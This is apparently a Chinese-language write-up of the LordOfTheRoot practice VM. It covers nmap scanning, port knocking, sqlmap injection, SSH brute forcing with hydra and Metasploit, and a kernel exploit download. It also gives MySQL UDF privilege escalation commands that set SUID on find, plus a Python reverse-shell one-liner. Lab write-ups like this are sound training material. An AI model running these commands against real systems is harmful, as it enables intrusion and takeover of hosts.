LordOfTheRoot_1.0.1

namp简单使用

namp 192.168.5.0/24 -sP		探测目标主机存活情况
namp 192.168.5.0/24 -O 识别操作系统

image-20220419224451932

namp 192.168.5.153 -sS -sV -A -T4 -p-
-p- 全端口扫描 1-65535 但是比较耗时间
-sS SYN扫描,只完成三次握手前两次,很少有系统记入日志,默认使用,需要root(admin)权限
-sV 探测端口号版本
-A 全面系统检查,使用脚本检测,扫描等
-T4 针对TCP端口进制动态扫描延迟重10ms

image-20220419225411512

得到 22 端口 ssh 操作系统linux3.X|4.X

ssh查看

ssh ssh@192.168.5.153

image-20220419225602030

发现提示 knock Easy as 1,2,3 意思是敲击三次,端口碰撞

端口碰撞

protknocking

端口试探(pork knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法
一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机
端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击
端口试探类似于一次密码握手协议,比如一种最基本的方式:发送一定序列的udp tcp数据包
当运行在主机上的daemon程序捕捉到数据包之后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过
由于对外的linux服务器通过限制ip地址的方式来控制访问,因此可以利用这个端口试探的方式来进行防火墙对于访问ip控制

要求

端口碰撞要求知道端口碰撞的序列,否则爆破机会很小
Easy as 1,2,3 碰撞序列为1,2,3

knock

apt install knockd
man knock
knock 192.168.5.153 1 2 3 -v

image-20220421130322033

nmap 192.168.5.153 -sS -sV -A -T4 -p-

image-20220421130737873

端口碰撞后开启的端口 只有碰撞的主机ip可以访问,其他未碰撞主机还是无法访问.发现开启了1337端口

image-20220421134040187

image-20220421134709399

robots.txt文件

image-20220421134725147

image-20220421135119832

sqlmap注入

image-20220421135352289

image-20220421135623571

抓个包sqlmap跑一下

sqlmap -o -u http://192.168.5.153:1337/978345210/index.php --forms --batch --dbs --fresh-querie
-------------
Optimization
-o:开启所有优化开关
--predict-output:预测常见的查询输出
--keep-alive:使用持久的HTTP(S)连接
--null-connection:从没有实际的HTTP响应体中检索页面长度

--threads=THREADS:设置请求的并发数
--forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试
-------------
sqlmap -r s.txt --batch --current-db

image-20220421141836941

sqlmap -r s.txt --batch -D Webapp --tables

image-20220421143207348

ssh爆破

hydra爆破ssh

image-20220421142653086

image-20220421142757734

msf爆破ssh

若有用户名和密码字段的话,使用auxiliary/scanner/ssh/ssh_login模块.若不知道,使用auxiliary/scanner/shh/ssh_enumusers模块先探测用户名是否存在

https://blog.csdn.net/huweiliyi/article/details/105590291

msfconsole

image-20220421143445855

search ssh_login

image-20220421143509141

use 0

image-20220421143536165

show options

image-20220421143623948

set rhost 192.168.5.153
set user_file users.txt
set pass_file passwd.txt
exploit

image-20220421145225385

sessions -i
sessions 3
id

提权

exp提权

ssh登录

ssh smeagol@192.168.5.153
MyPreciousR00t

image-20220421144927449

image-20220421144940921

id
uname -a 查看主机操作系统 内核信息
hostnamectl

image-20220421145305107

smeagol@LordOfTheRoot:~$ id
uid=1000(smeagol) gid=1000(smeagol) groups=1000(smeagol)
smeagol@LordOfTheRoot:~$ uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux
smeagol@LordOfTheRoot:~$ hostnamectl
Static hostname: LordOfTheRoot
Icon name: computer-vm
Chassis: vm
Boot ID: 5bd2fb73a2ea4cd4b96b83a803062787
Operating System: Ubuntu 14.04.3 LTS
Kernel: Linux 3.19.0-25-generic
Architecture: i686

image-20220421145410665

https://www.exploit-db.com/exploits/39166

image-20220421145655383

使用exploit

background	返回msf
y

image-20220421145903723

searchsploit 39166		在kali本地exploit库搜索

image-20220421150157574

locate linux/local/39166.c	查看位置

image-20220421150428115

cp /usr/share/exploitdb/exploits/linux/local/39166.c ./wanan 复制

image-20220421150527324

python2 -m SimpleHTTPServer 8081	开启http服务

image-20220421150655148

wget http://192.168.5.152:8081/39166.c	下载exp

image-20220421150948354

gcc 39177.c -o 39166 

image-20220421151142289

image-20220421151241410

udf提权

条件

  • root 权限运行mysql
  • 在mysql 5.5 之前secure_file_priv 默认是空,这个情况下可以像任意路径写文件
  • 在mysql 5.5 之后 secure_file_priv 默认是NULL 这个情况下不可以写文件
  • udf.dll文件必须防止在mysql安装目录的lib\plugin文件下才可以创建自定义函数

mysql版本,权限

dpkg -l | grep mysql	查看历史安装包版本
5.5.44

image-20220421151756110

ps aux | grep mysql	查看mysql进程信息
root 权限

image-20220421151826799

mysql 密码

cd /var/www/978345210/
ls
cat login.php

image-20220421152029007

用户名		root
密码 darkshadow
mysql -u root -p

image-20220421152149065

查看能否udf提权

show global variables like 'secure%';

image-20220421152334990

可以提权

show variables like 'plugin%';

image-20220421152447971

查看能否远程登录

use mysql;
select user,host from user;
不能远程登录

image-20220421152708456

MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。
BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob)
除了在存储的最大信息量上不同外,他们是等同的。

MySQL的四种BLOB类型:
类型 大小(单位:字节)
TinyBlob 最大 255
Blob 最大 65K
MediumBlob 最大 16M
LongBlob 最大 4G


可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。

或者udf exploit提佛那个的函数执行系统命令
do_system

本次使用lib_mysqludf_sys
locate lib_mysqludf_sys 查看lib_mysqludf_sys位置

image-20220421153048709

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so ./
mv lib_mysqludf_sys_32.so udf.so 重命名
du udf.so 看大小
python2 -m SimpleHTTPServer 8081 起服务

image-20220421153410006

cd /tmp
wget http://192.168.5.152:8081/udf.so 下载到/tmp目录下

image-20220421153934560

mysql -u root -p 
create table udf (line blob); 创建,用于存放本地传来的udf文件的内容.
insert into udf values(load_file('/tmp/udf.so')); 在表中写入udf文件内容
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so'; #
将udf文件内容传入新建的udf.so文件中,路径根据自己的@@basedir修改
create function sys_eval returns string soname 'udf.so'; 创建自定义函数
select * from mysql.func; 查看函数
select sys_eval('chmod u+s /usr/bin/find');
调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令
exit

image-20220421160526266

image-20220421161235171

find / -exec '/bin/sh' \; 执行提权

/ !此时是没有框架的 要是想反弹shell 需要有框架
// python -c "import pty;pty.spawn(\"/bin/bash\")" 获得框架
// 现在主机用 nc 监听端口有 nc -lvp port
// 在使用反弹shell命令进行反弹
// python 反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("监听主机ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


cd /root
ls
cat Flag.txt

image-20220421161648399

缓冲区(buff) 看不懂

https://blog.csdn.net/WHHLS/article/details/123860109

标准函数
stycpy() strcat() sprintf() vsprintf() gets() scanf()

ALSR

SECRET文件夹目录 是缓冲区溢出的一个标志目录

find / -name SECRET 2>/dev/null  其中2>/dev/null 忽略警告值

image-20220421162839160

在该目录下发现三个子目录每一个子目录有一个file文件

有的缓冲区会设置ALSRJ机制 即随机化

0 = 关闭
1 = 半随机 共享库 栈 mmap() 以及VDSO 将被随机化
2 = 全随机
cat /proc/sys/kernel/randomize_va_space 查看
2 全随机

image-20220421163042849

根据文件夹大小来判断 两个为7.2k 一个为5.1k 5.1k是主要文件 由于会随机变化 将目录用base64编码 在转码保存到攻击机

image-20220421163329881

image-20220421163416420

vim base64.txt
gedit base64.txt
cat base64.txt | base64 -d > file

image-20220421163904644

image-20220421164002382

chmod u+x file	给文件执行权
使用python命令快速模糊判断多少个字符会导致程序崩溃.python有-c参数,允许代码直接从shell执行
./file $(python2 -c 'print "A" * 100')

image-20220421164737678

GDB-peda

GDB进行分析
apt install gdb
git clone https://github.com/longld/peda.git
echo "source ~/wanan/peda/peda.py" >> ~/.gdbinit 想要用某一个插件的时候,只要输入对应命令就行!
gdb file gdb分析file文件

image-20220421165339951

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 	当我们不确定界址时 可以生成乱码进行填充